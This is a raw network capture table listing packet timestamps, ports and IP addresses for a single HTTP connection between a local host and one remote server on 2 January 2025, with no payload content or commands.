Jan 2, 2025 20:20:01.354048967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354048967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354065895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354438066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354453087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354465008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354502916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354502916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354562044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354763985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354779005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354789972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.354831934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.354831934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355171919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355190039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355205059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355226994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355242014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355268955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355434895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355448008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355459929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355503082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355503082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355861902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355874062 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355885983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.355910063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.355959892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356270075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356285095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356297016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356321096 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356360912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356360912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356586933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356623888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356637955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356668949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356668949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356705904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356719971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356729031 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356769085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356769085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.356947899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356966019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.356980085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357023001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357023001 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357042074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357351065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357367992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357384920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357402086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357418060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357428074 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357790947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357865095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357877970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357899904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357899904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.357928038 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.357932091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358026028 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358225107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358237982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358248949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358288050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358288050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358509064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358520031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358531952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358596087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358596087 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358831882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358869076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358881950 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.358890057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358927011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.358927011 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359308958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359340906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359352112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359352112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359376907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359385967 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359385967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359421968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359421968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359783888 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359801054 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359817028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.359841108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359841108 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.359857082 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360023975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360038996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360055923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360069036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360106945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360107899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360321999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360374928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360378027 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360392094 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360424995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360455036 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.360908985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360923052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360934973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.360982895 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361038923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361176968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361191988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361210108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361242056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361242056 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361327887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361620903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361634970 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361661911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361664057 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361677885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.361685038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361721039 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361721992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.361994982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362005949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362018108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362054110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362054110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362104893 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362488985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362504959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362524986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362539053 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362544060 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362550020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362580061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362580061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362798929 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362817049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362838984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.362867117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362867117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.362940073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363140106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363157988 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363176107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363200903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363200903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363240957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363616943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363661051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363676071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363677025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363707066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363723993 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363797903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363812923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363826990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.363847017 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363859892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.363894939 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364223957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364239931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364257097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364286900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364286900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364311934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364686966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364701986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364722013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.364736080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364748955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364789963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.364969015 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.365005016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.365020990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.365040064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.365045071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.365045071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.365080118 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.365081072 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367340088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367357969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367383957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367391109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367402077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367404938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367433071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367439985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367450953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367470980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367476940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367476940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367487907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367506027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367516994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367516994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367525101 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367543936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367547989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367547989 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367558002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367572069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367575884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367588043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367598057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367599964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367625952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367641926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367654085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367660046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367660046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367666006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.367702961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.367702961 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.441541910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441559076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441571951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441585064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441600084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441606998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.441612959 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.441643953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.441724062 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442204952 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442217112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442254066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442256927 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442269087 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442286968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442296028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442313910 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442312956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442313910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442328930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442342043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.442348003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442348003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442368984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.442393064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443520069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443531036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443542957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443557024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443568945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443597078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443597078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443617105 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443638086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443651915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443665981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443675995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.443701029 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443701982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.443732977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444470882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444483995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444497108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444509029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444521904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444542885 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444557905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444570065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444576025 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444583893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444596052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.444621086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444621086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.444653988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.445334911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445348024 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445362091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445382118 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445390940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.445395947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445408106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445426941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.445446014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.445446014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.445467949 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.445508957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.446449995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446463108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446475029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446496010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446513891 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.446521044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446522951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.446535110 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446547031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.446552038 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.446603060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.446603060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.447560072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447638988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.447660923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447674990 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447686911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447698116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447710991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447724104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.447737932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.447737932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.447767019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.447978020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449085951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449103117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449120998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449136972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449150085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449151039 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449165106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449178934 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449203014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449203014 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449233055 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449872971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449928999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449964046 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.449974060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449974060 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.449982882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450011969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450031042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450036049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450036049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450042963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450094938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450445890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450503111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.450521946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450540066 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450555086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450573921 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.450575113 CET	49704	80	192.168.2.8	47.254.187.72
